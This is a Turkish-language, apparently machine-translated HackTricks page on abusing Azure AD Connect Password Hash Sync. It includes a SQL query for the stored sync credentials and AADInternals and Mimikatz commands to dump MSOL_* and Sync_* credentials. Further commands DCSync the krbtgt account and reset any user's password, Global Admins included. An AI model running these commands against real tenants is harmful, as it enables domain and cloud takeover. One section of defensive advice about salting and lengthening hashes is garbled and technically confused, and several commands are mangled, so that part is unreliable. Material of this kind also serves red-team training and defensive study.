Az - PHS - Password Hash Sync

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Belgelerden alınan bilgilere göre: Parola hash senkronizasyonu, hibrit kimlik sağlamak için kullanılan giriş yöntemlerinden biridir. Azure AD Connect, bir kullanıcının parolasının on-premises Active Directory örneğinden buluta dayalı bir Azure AD örneğine olan parola hash'inin senkronizasyonunu gerçekleştirir.

Bu, şirketlerin on-prem AD'yi Azure AD ile senkronize etmek için kullandığı en yaygın yöntemdir.

Tüm kullanıcılar ve parola hash'lerinin hash'leri, on-prem'den Azure AD'ye senkronize edilir. Bununla birlikte, açık metin parolaları veya orijinal hash'ler Azure AD'ye gönderilmez. Ayrıca, dahili güvenlik grupları (örneğin, etki alanı yöneticileri...) Azure AD'ye senkronize edilmez.

Hash senkronizasyonu, her 2 dakikada bir gerçekleşir. Bununla birlikte, varsayılan olarak, Azure AD'de parola süresi dolma ve hesap süresi dolma senkronize edilmez. Bu nedenle, on-prem parolası süresi dolmuş (değiştirilmemiş) bir kullanıcı, eski parolayı kullanarak Azure kaynaklarına erişmeye devam edebilir.

Bir on-prem kullanıcısı bir Azure kaynağına erişmek istediğinde, kimlik doğrulama Azure AD'de gerçekleşir.

PHS, Kimlik Koruma ve AAD Domain Hizmetleri gibi özellikler için gereklidir.

Pivoting

PHS yapılandırıldığında, bazı yetkili hesaplar otomatik olarak oluşturulur:

  • MSOL_<installationID> hesabı otomatik olarak on-prem AD'de oluşturulur. Bu hesap, Directory Senkronizasyon Hesapları rolü verilir (bkz. belgeler), yani on-prem AD'de replikasyon (DCSync) izinlerine sahiptir.

  • Sync_<on-prem ADConnect Sunucusunun adı>_installationID adında bir hesap Azure AD'de oluşturulur. Bu hesap, Azure AD'deki herhangi bir kullanıcının parolasını sıfırlayabilir (senkronize edilen veya yalnızca bulut) Azure AD'de.

Önceki iki yetkili hesabın parolaları, Azure AD Connect'in yüklü olduğu sunucudaki bir SQL sunucusunda saklanır. Yöneticiler, bu ayrıcalıklı kullanıcıların parolalarını açık metin olarak çıkarabilir. Veritabanı, C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf konumunda bulunur.

Bu tablolardan birinden yapılandırmayı çıkarmak mümkündür, bunlardan biri şifrelenmiştir:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Şifrelenmiş yapılandırma, DPAPI ile şifrelenmiştir ve içinde on-prem AD'deki MSOL_* kullanıcısının parolalarını ve AzureAD'deki Sync_*'in parolasını içerir. Bu nedenle, bunları ele geçirmek, AD'ye ve AzureAD'ye yükseltme yapmayı mümkün kılar.

Bu konuşmada, bu kimlik bilgilerinin nasıl depolandığı ve şifrelendiği hakkında tam bir genel bakış bulabilirsiniz.

Azure AD Connect sunucusunu bulma

Azure AD Connect'in yüklendiği sunucu etki alanına katılmış ise (belgelerde önerilen), aşağıdaki komutla bulunabilir:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

MSOL_*'ü Kötüye Kullanma

Bu bölümde, Azure AD Connect ile yapılandırılmış bir hibrit kimlik ortamında MSOL_* yetkilendirmelerini kötüye kullanma yöntemlerini ele alacağız.

PHS (Parola Hash Senkronizasyonu) Sızdırma

PHS, Azure AD Connect ile yapılandırılmış bir hibrit kimlik ortamında kullanılan bir özelliktir. Bu özellik, kullanıcıların parola hash'lerini Azure AD'ye senkronize etmelerine olanak tanır. Ancak, bu senkronizasyon sırasında parola hash'leri saldırganlar tarafından ele geçirilebilir.

Saldırganlar, PHS sırasında parola hash'lerini ele geçirmek için çeşitli yöntemler kullanabilirler. Bunlardan bazıları şunlardır:

  1. Pass-the-Hash (PtH) Saldırısı: Saldırganlar, ele geçirdikleri parola hash'lerini kullanarak kimlik doğrulama yapabilirler. Bu sayede, kullanıcının kimlik bilgilerini bilmeksizin sistemlere erişebilirler.

  2. Parola Kırma Saldırısı: Saldırganlar, ele geçirdikleri parola hash'lerini kırarak kullanıcının gerçek parolasını elde etmeye çalışabilirler. Bu sayede, kullanıcının hesabına tam erişim sağlayabilirler.

PHS sızdırma saldırılarına karşı korunmak için aşağıdaki önlemleri almanız önemlidir:

  • Azure AD Connect sunucusunun güncel olduğundan emin olun.

  • Parola karma algoritmasının güvenli olduğundan emin olun.

  • Parola karma algoritmasının karma gücünü artırmak için tuzlama (salt) kullanın.

  • Parola karma algoritmasının yavaşlatma faktörünü artırın.

  • Parola karma algoritmasının tekrar sayısını artırın.

  • Parola karma algoritmasının karma uzunluğunu artırın.

Bu önlemleri alarak, PHS sızdırma saldırılarına karşı daha güvenli bir hibrit kimlik ortamı oluşturabilirsiniz.

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Bu kimlik bilgilerini elde etmek için adconnectdump aracını da kullanabilirsiniz.

Sync_* Kullanımı

Sync_* hesabını ele geçirerek, herhangi bir kullanıcının (Global Yöneticiler dahil) şifresini sıfırlamak mümkündür.

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Sadece bulut kullanıcılarının şifrelerini değiştirmek de mümkündür (bu beklenmese de).

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Bu kullanıcının şifresini de çalmak mümkündür.

Başka bir seçenek, Sync kullanıcısının yapabileceği ayrıcalıklı izinleri bir hizmet prensibine atamak ve ardından bu hizmet prensibine erişmek suretiyle ayrıcalık yükseltme yapmaktır.

Sorunsuz SSO

PHS ile Sorunsuz SSO kullanmak mümkündür ve bu da diğer kötüye kullanımlara açıktır. Aşağıdaki bağlantıda kontrol edin:

pageAz - Seamless SSO

Referanslar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated